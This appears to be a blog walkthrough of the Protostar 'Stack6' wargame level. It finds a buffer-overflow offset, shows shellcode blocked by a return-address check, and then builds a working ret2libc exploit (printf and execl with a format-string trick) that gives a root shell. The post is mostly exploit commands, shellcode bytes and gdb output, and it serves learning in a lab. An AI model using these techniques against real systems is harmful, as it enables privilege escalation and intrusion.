#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }The first thing I tried to do, was to set it up just like I did on Stack5.
First, I needed to find the offset (using a locally copied version, since the real one was suid and wouldn't dump a core):
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 128 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A d8Ad9Ae0Ae1Ae user@protostar:~$ ./stack6 input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A d8Ad9Ae0Ae1Ae got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A d8Ad9Ae0Ae1Ae Segmentation fault (core dumped) user@protostar:~$ gdb --quiet --core=/tmp/core.11.stack6.2279 Core was generated by `./stack6'. Program terminated with signal 11, Segmentation fault. #0 0x37634136 in ?? () mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x37634136 80Great, so now we know the EIP offset is 80 bytes. I for some reason, just wanted to verify it, and also see if I had some space after the return address for shellcode.
user@protostar:~$ echo `perl -e 'print "A"x80 . "\xEF\xBE\xAD\xDE" . "C"x100'` | ./stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ▒AAAAAAAAAAAAᆳ▒CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC Segmentation fault (core dumped) user@protostar:~$ gdb --quiet --core=/tmp/core.11.stack6.2316 Core was generated by `./stack6'. Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) x/10s $esp 0xbffff7f0: 'C' <repeats 100 times> 0xbffff855: "" 0xbffff856: "" 0xbffff857: "" 0xbffff858: "\001" 0xbffff85a: "" 0xbffff85b: "" 0xbffff85c: "Ѓ\004\b" 0xbffff861: "" 0xbffff862: ""Yep, my 100 "C"s came through fine. I definitely have some space if I need it. So I simply used the start of the "C"s as my return address, added a little bit of space with a 16 byte NOP sled, and then added shellcode (generated from msfpayload with badchars taken out). I wasn't sure what the provided C code was doing yet, as I'm not really a C developer, and figured I'd learn in time. This was when I learned.
user@protostar:~$ perl -e 'print "A"x80 . "\xf0\xf7\xff\xbf" . "\x90"x16 . "\xdb\xc8\xd9\x74\x24\xf4\xba\x2a \xa1\xa4\x48\x5d\x29\xc9\xb1\x10\x31\x55\x17\x83\xed\xfc\x03\x7f\xb2\x46\xbd\x4e\x7d\xb7\xe5\x47\x9e\x08\xbd\x6a \xe1\x03\xb5\x2c\x7b\x81\xaf\xa4\x56\x45\xb9\xd3\xc1\xa6\xca\x73\x12\xd1\x03\xe1\x7b\x4f\xd5\x06\x29\x67\xed \xc8\xce\x77\xc1\xaa\xa7\x19\x32\x59\x50\xe6\x1b\xce\x29\x07\x6e\x70\x18\x13\x1b\x71\x03\x6e\x5c"' > /home/user/file user@protostar:~$ ./stack6 < file input path please: bzzzt (0xbffff7f0)So the C code was actually making sure that the return address was not somewhere in the stack (starting with "\xbf"). This is problematic, since my shellcode is in the stack, specifically near 0xbffff7f0. This means I had to learn how to get around this.
I had heard of some of the fun buzzwords listed on the Stack6 page: ret2libc, and Return-Oriented Programming. For some reason, I didn't make the connection between Return-Oriented Programming and the buzzword I've been seeing everywhere, "ROP". Call me dumb, but I didn't see it until mostly done with this. I read a TON of sites, but some that I found useful were:
- Corelan - These guys are geniuses. Watch some videos that corelanc0d3r gives. You'll be amazed. And he also gave us mona.py, so he deserves praise.
- Hackers Hut - This page was so useful for me getting execl working.
- IHASOMGSECURITYSKILLS - If you're ever on freenode in #offsec, you'll often see sickn3ss there. His linux exploitation guides are amazing
user@protostar:/opt/protostar/bin$ gdb ./stack6 --quiet Reading symbols from /opt/protostar/bin/stack6...done. (gdb) break main Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27. (gdb) run Starting program: /opt/protostar/bin/stack6 Breakpoint 1, main (argc=1, argv=0xbffff844) at stack6/stack6.c:27 27 stack6/stack6.c: No such file or directory. in stack6/stack6.c (gdb) print printf $1 = {I looked up printf as well as execl, because with the help of the Hackers Hut link, I found that I could not pass a "0" as an argument, so I needed to use a printf hack instead. So my buffer overflow went from:} 0xb7eddf90 <__printf> (gdb) print execl $2 = { } 0xb7f2e460 <*__GI_execl>
| buffer (80) | return code | shellcode |to
| buffer (80) | printf | execl | formatstring | prg | prg | here |To explain, I was still going to pass the 80 bytes to get to the EIP, but instead of jumping to the stack where my shellcode was stored, I would instead execute instructions. Specifically 'execl(prg, prg, 0)', with a printf wrapper to bypass the "0" going into memory. The "here" value is needs to have the value of the memory address it's being entered to. For example, if "here" is located at 0xbfff0c14, it needs to contain the value 0xbfff0c14. It's part of the printf hack.
So now we have the buffer, the memory addresses of "printf" and "execl". Let's put our format string and desired program together.
user@protostar:~$ export FORMATSTRING="%3\$n" user@protostar:~$ export FAV="/home/user/fav"NOTE: When reading through the Hackers Hut article, it would make it sound like you could export the formatstring as "%3$n", but bash tries to interpret the dollar sign, so I had to escape it with a backslash. Additionally, instead of calling the code from fav.c, I used the shellcode I used in Stack5, since it fixed the gets() issue. I compiled it as "fav" for some reason.
I then use a program that I found in the Hacking: The Art of Exploitation book to get me the memory addresses of the environmental variables when called by a program.
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment var> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* Get env var location. */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */ printf("%s will be at %p\n", argv[1], ptr); }I then called it to get the actual values
user@protostar:/opt/protostar/bin$ /home/user/getenvaddr FORMATSTRING ./stack6 FORMATSTRING will be at 0xbffff9a5 user@protostar:/opt/protostar/bin$ /home/user/getenvaddr FAV ./stack6 FAV will be at 0xbfffff5aThe last thing I needed, was the "here" memory address. I took the source of stack6.c and compiled it to my home directory, but with one small change. I added a printf to show the location of the buffer in memory.
#include %lt;stdlib.h> #include %lt;unistd.h> #include %lt;stdio.h> #include %lt;string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); printf("0x%08x\n", buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
user@protostar:~$ gcc -fno-stack-protector -o stackx stack6.cBecause of the stack being different because of the folder I was in, I navigated to where the real stack6.c was, and then ran my tests.
user@protostar:~$ cd /opt/protostar/bin/ user@protostar:/opt/protostar/bin$ /home/user/stackx input path please: A 0xbffff75c got path ASo I know the address of buffer in stackx was 0xbffff75c. However, this won't be exactly right for the real version. I then used gdb to see the changes.
user@protostar:/opt/protostar/bin$ gdb --quiet /home/user/stackx Reading symbols from /home/user/stackx...(no debugging symbols found)...done. (gdb) break getpath Breakpoint 1 at 0x804848a (gdb) run Starting program: /home/user/stackx Breakpoint 1, 0x0804848a in getpath () (gdb) x/4000s $esp ... 0xbffff977: "/home/user/stackx" ... 0xbfffffea: "/home/user/stackx" ...So the buffer was at 0xbfff75c, but there will be an offset. "/home/user/stackx" is 17 bytes long. "/opt/protostar/bin/stack6" is 25 bytes long. That's a difference of 8 bytes. Since this is shown twice in memory, that's a total of 16 bytes. We also will need to account for the 80 "A"s we're putting in for the EIP offset, and 20 chars for the ret2libc commands. So let's add it up.
user@protostar:~$ perl -e 'printf("0x%08x\n", 0xbfff75c + 16 + 80 + 20)' 0x0bfff7d0So now we have all the info we need. Again, we wanted to get to:
| buffer (80) | printf | execl | formatstring | prg | prg | here |I wired it all up together with the values that we received.
user@protostar:~$cd /opt/protostar/bin user@protostar:/opt/protostar/bin$perl -e 'print "A"x80 . "\x90\xdf\xed\xb7" . "\x60\xe4\xf2\xb7" . "\xa5\xf9\xff \xbf" . "\x5a\xff\xff\xbf" . "\x5a\xff\xff\xbf" . "\xd0\xf7\xff\xbf"' %gt; /home/user/file user@protostar:/opt/protostar/bin$ ./stack6 < /home/user/file input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒AAAAAAAAAAAA▒▒▒`▒▒▒▒▒Z▒▒▒Z▒▒▒▒▒▒▒ # whoami root # id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
No comments:
Post a Comment